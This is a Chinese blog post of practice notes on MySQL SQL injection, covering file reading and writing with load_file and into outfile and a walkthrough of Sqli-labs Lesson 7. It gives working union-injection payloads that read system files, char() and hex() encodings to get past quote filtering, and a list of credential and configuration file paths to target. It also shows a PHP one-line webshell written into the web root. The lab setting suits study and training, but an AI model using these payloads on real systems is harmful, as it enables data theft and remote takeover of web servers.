SQL注入 Sqli Labs 7 实战笔记

这世界总是这么可笑对不对?总是一个人很想说话,另一个人不想听。

知识点补充:

select '浪子好帅啊' into outfile '网站路径\test.txt';

一般来说MYSQL的写入函数与写出函数可以配合一起使用

select load_file '网站路径\index.php';

into file是写入文件,load_file是读取文件,一般都需要root权限

load_file

load_file

load_file函数只有满足两个条件就可以使用:

1. 文件权限:chmod a+x pathtofile
2. 文件大小: 必须小于max_allowed_packet

判断是否有权限可读

and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
 and (select count(*) from mysql.user)>0 /* 返回错误,应该是管理员给数据库账户降权了*/

解读上面的SQL语句,原理是确定当前表中有用户即可.

并且读取的时候一定要有完整的路径.

例子:?id=1' union select 1,2,load_file 'etc/hosts' --+

into outfile

into outfile函数要满足五个条件才可以使用:

1. 知道物理路径(into outfule '物理路径'), 这样才能写对目录。
2. 能够使用union (需要mysql 3以上的版本)
3. 对方没有对(')进行过滤(因为outfile后面的('')不可以用其他函数代替转换)
4. mysql用户拥有file_priv权限(不然就不能写文件或读文件)
5. WEB的目录要有可读可执行权限    

使用方法如上

例子:?id=1' union select 1,2,'浪子好帅啊' into outfile('完整的WEB目录')--+

网站路径获取方法

  1. phpinfo.php文件,一般在根目录下存在php.php info.php phpinfo.php,test.php php_info.php等。
  2. 报错路径然后读取文件。
  3. 默认配置文件,可以百度搜索某cms的对应配置文件,找到链接数据库文件,读取数据库账号密码。

总结

  1. 如果PHP中magic_quotes_gpc=on,也就是魔术引号手开启自动过滤单引号双引号斜杠,那么读取写入文件时候,加在路劲边上的单引号就会被过滤掉,这时候前面学的函数char()和hex()就能派上用场了

    比如我要读取/etc/host文件,先把它转换成ascii码

asciii

-1 union select 1,2,load_file(char(47,101,116,99,47,104,111,115,116,115)) --+

fir sud

可以看到效果一样的
  1. 如果使用上面的char()函数觉得不得劲,可以使用hex()函数试一试

    同理先转换成hex编码格式

hex

-1 union select 1,2,load_file(0x2f6574632f686f737473)--+

hex

值得注意的是,PHP中,hex编码的直接加进去即可,自动识别,就像0x1aafd51a3f1q
  1. 有的时候如果没办法读取,可以把内容out file出来,然后下载,但测试只能在数据库中执行

  2. mysql的load_file()常见的用法:

    1. replace(load_file(0×2F6574632F706173737764), 0x3c, 0x20)
    2. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))上面两个是查看一些php文件里完全显示代码。有些时候不替换一些字符,如”<”替换成”空格”,返回的是网页。而无法查看到代码。
    3. load_file(char(47))可以列出FreeBSD, Sunos系统根目录。
    4. /etc/httpd/conf/httpd.conf或者/usr/local/apache/conf/httpd.conf查看linux apache虚拟主机配置文件。
    5. c:/Program Files/Apache Group/Apache/conf/httpd.conf或c:/apache/conf/httpd.conf 查看windows系统apache文件。
    6. c:/Resin-3.0.14/conf/resin.conf 或c:/Resin/conf/resin.conf 查看jsp开发网站的resin文件配置信息。
    7. /usr/local/resin/conf/resin.cof 查看linux系统配置的JSP虚拟主机
    8. d:/apache/apache2/conf/httpd.conf
    9. c:/Program Files/mysql.my.ini
    10. ../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
    11. c:/windows/system32/inetsrv/MetaBase.xml 查看IIS的虚拟主机配置文件
    12. /usr/local/resin-3.0.22/conf/resin.conf 或/usr/local/resin-pro-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    14. /etc/sysconfig/iptables 查看防火墙策略
    15. usr/local/app/php5/lib/php.ini PHP 的设置
    16. /etc/my.cnf MYSQL的配置文件
    17. /etc/redhat-release 红帽子的系统版本
    18. c:/mysql/data/mysql/user.MYD 存在MYSQL系统中的用户密码
    19. /etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
    20. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
    21. c:/windows/my.ini
  3. 技巧

    1. outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成\’,那么基本没的玩了。唯一的一种可能就是你使用mysql远程连接,然后直接在mysql中执行命令,就没有查询限制了。当然,你要是找到了phpmyadmin,也可以。

    2. load_file,后面的路径可以是单引号、0x、char转换的字符。这而记得路径中的斜杠是/而不是\。一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。

    3. load_file可以在union中作为一个字段来用。如union select 1,load_file(‘c:/boot.ini’),3,4 from ka_admin等。

    4. load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1

    5. load_file文件的时候,特别是想看exe等含有二进制的00等截断或者回车换行等特殊符号时,可以结合hex函数。如union select 1,hex(load_file(‘c:/windows/notepad.exe’)),3 from xxxx,这样就不会存在截断了,也不会一会断行而截断。自己再用个工具或者几行代码转换回来就是了。

    6. outfile一句话(经典):select ‘<?php eval($_POST[cmd])?>’ into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’或者从表中select * from a into outfile ‘D:/PHPnow-1.5.4/htdocs/index2.php’

    7. 关于mysql多语句:直接在mysql中,可以同时select中使用update或者insert,但是php注入中就不行,至少我测试的是php的函数mysql_query是不行。

Sqli labs Lesson 7 实战笔记

index

根据提示,这一课的的要求是写入文件或者webshell

判断是否存在注入

test inj

回显语句错误,明显存在注入,通过判断是字符串型注入,闭合方式是

?id=1')) order by xxx --+

判断字段数

order by

输入4的时候报错,3正常,说明存在3个字段

探测可显示字段

union select

与lesson5-6一样,没有回显,因为本课的目标是写入文件,后面的继续探测信息也就不继续了,并且通过强制报错也没办法回显内容,当然并不是不能注入.用盲注就可以的~

and select

寻找路径

这一课有些特别,原因在于目标是写入文件,但是完全没有回显,我的想法是通过盲注来找到数据库的路径,但是目标量实在是太大,思路就是盲注@@datadir的值

datadir

这里就假设我已经通过盲注或者让页面报错找到了WEB路径

WEB:/var/www/html/sqli-labs

写入文件

into

虽然页面回显报错,但是通过访问路径发现的确写进去了

read

如果这里魔术引号手开启了,大家能想到办法绕过吗?

参考链接

参考链接

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%